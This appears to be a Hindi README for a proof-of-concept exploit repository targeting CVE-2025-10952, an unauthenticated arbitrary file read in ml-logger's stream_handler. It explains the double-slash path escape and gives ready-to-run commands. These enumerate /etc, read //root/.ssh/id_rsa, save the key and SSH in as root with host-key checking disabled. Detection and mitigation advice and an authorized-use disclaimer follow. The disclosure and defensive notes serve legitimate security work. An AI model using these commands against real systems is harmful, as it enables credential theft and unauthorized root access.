
CVE-2025-10952 के लिए PoC — ml-logger बिना प्रमाणीकरण के मनमाना फ़ाइल पढ़ना। CVSS 5.3
stream_handler मनमाना फ़ाइल पढ़नायह रिपॉज़िटरी एक स्टैंडअलोन Python स्क्रिप्ट — CVE-2025-10952.py — प्रदान करती है जो ml-logger के stream_handler में एक बिना प्रमाणीकरण वाली मनमानी फ़ाइल पढ़ने की कमज़ोरी का शोषण करती है, और फ़ाइलसिस्टम एन्यूमरेशन के लिए /glob एंडपॉइंट के साथ जोड़ी जाती है।
जब इसे किसी कमज़ोर ml-logger इंस्टेंस के विरुद्ध चलाया जाता है, तो यह:
/glob एंडपॉइंट के माध्यम से लक्षित होस्ट पर फ़ाइलों की एन्यूमरेट करेगा (बिना प्रमाणीकरण, इच्छित दायरे से बाहर कोई पथ प्रतिबंध नहीं)।key पैरामीटर प्रदान करके /stream एंडपॉइंट के माध्यम से एक मनमानी फ़ाइल पढ़ेगा जो हैंडलर के बेस-पथ जॉइन लॉजिक से बाहर निकल जाता है।क्योंकि stream_handler क्लाइंट-आपूर्ति किए गए key फ़ील्ड को सीधे फ़ाइल-पथ रिज़ॉल्यूशन और स्ट्रीमिंग कॉल में बिना किसी कंटेनमेंट जांच के पास करता है, एक बिना प्रमाणीकरण वाला नेटवर्क हमलावर सेवा के OS उपयोगकर्ता के लिए सुलभ किसी भी फ़ाइल को पढ़ सकता है।
ml_logger/server.py — stream_handler (फ़ाइल हैंडलर)AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:Nacf255bade5be6ad88d90735c8367b28cbe3a743 तक के सभी संस्करण (रोलिंग-रिलीज़ प्रोजेक्ट; प्रकटीकरण के समय कोई निश्चित संस्करण प्रकाशित नहीं)stream_handler एक JSON बॉडी स्वीकार करता है जिसमें key फ़ील्ड होता है और इसे बिना किसी पथ सैनिटाइज़ेशन के सीधे फ़ाइल-रीड कॉल में पास करता है। सहोदर glob_handler एंडपॉइंट आंशिक पथ प्रतिबंध लागू करता है (पूर्ण पथ और ट्रैवर्सल को अवरुद्ध करना), लेकिन stream_handler उस सत्यापन को साझा नहीं करता — key में एक दोगुना अग्रणी स्लैश (जैसे //root/.ssh/id_rsa) इच्छित बेस निर्देशिका से बाहर निकलने के लिए पर्याप्त है।
ml-logger API इंस्टेंस तक नेटवर्क पहुंचgit clone https://github.com/Khashayarnzk/CVE-2025-10952-ml-logger-AFR.git
cd CVE-2025-10952-ml-logger-AFR
pip install -r requirements.txt
फ़ाइलों की एन्यूमरेट करें:
python3 CVE-2025-10952.py --target TARGET --port 8081 --glob "/etc/*"
एक मनमानी फ़ाइल पढ़ें:
python3 CVE-2025-10952.py --target TARGET --port 8081 --read "//root/.ssh/id_rsa"
पढ़ें और डिस्क पर सहेजें:
python3 CVE-2025-10952.py --target TARGET --port 8081 --read "//root/.ssh/id_rsa" --out id_rsa_root
chmod 600 id_rsa_root
ssh -i id_rsa_root -o StrictHostKeyChecking=no root@TARGET
--port डिफ़ॉल्ट रूप से 8081 है, जो मानक तैनाती में ml-logger के फ़ाइल-ब्रोकर API के लिए डिफ़ॉल्ट पोर्ट है। डैशबोर्ड फ्रंटएंड आमतौर पर एक अलग पोर्ट पर परोसा जाता है और कमज़ोर पथ का हिस्सा नहीं है।
/glob एंडपॉइंट की पुष्टि करें कि यह Allow: POST के साथ 405 Method Not Allowed प्रतिक्रिया देता है — यह स्थिर डैशबोर्ड फ्रंटएंड के विपरीत API पोर्ट की पहचान करता है।--glob के साथ पहुंच योग्य पथों की एन्यूमरेट करें।--read के साथ एक लक्षित फ़ाइल प्राप्त करें।ml-logger सेवा पोर्ट पर निर्देशित .., दोगुने अग्रणी स्लैश (//), या पूर्ण पथ उपसर्ग (/etc, /root, /proc) वाले key/path-शैली JSON फ़ील्ड पर अलर्ट करें।~/.ssh/, /etc/shadow, /etc/passwd पर फ़ाइल-अखंडता या एक्सेस निगरानी को ml-logger प्रक्रिया पहचान से उत्पन्न रीड्स को फ़्लैग करना चाहिए।ml-logger को कभी भी अविश्वसनीय नेटवर्क पर एक्सपोज़ न करें।stream_handler में पथ कंटेनमेंट लागू करें (os.path.realpath() रिज़ॉल्यूशन को अनुमत-सूची वाली बेस निर्देशिका के विरुद्ध जांचा गया); सेवा को एक समर्पित, अन-विशेषाधिकार प्राप्त OS खाते के तहत चलाएं।इस रिपॉज़िटरी में CVE-2025-10952 के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट शोषण शामिल है, जो ml-logger में एक बिना प्रमाणीकरण वाली सूचना प्रकटीकरण कमज़ोरी है। इस कोड का उपयोग केवल उन वातावरणों में करें जिनके आप स्वामी हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट प्राधिकरण है। लेखक इस सॉफ़्टवेयर के किसी भी दुरुपयोग या क्षति के लिए ज़िम्मेदार नहीं है।
LICENSE देखें।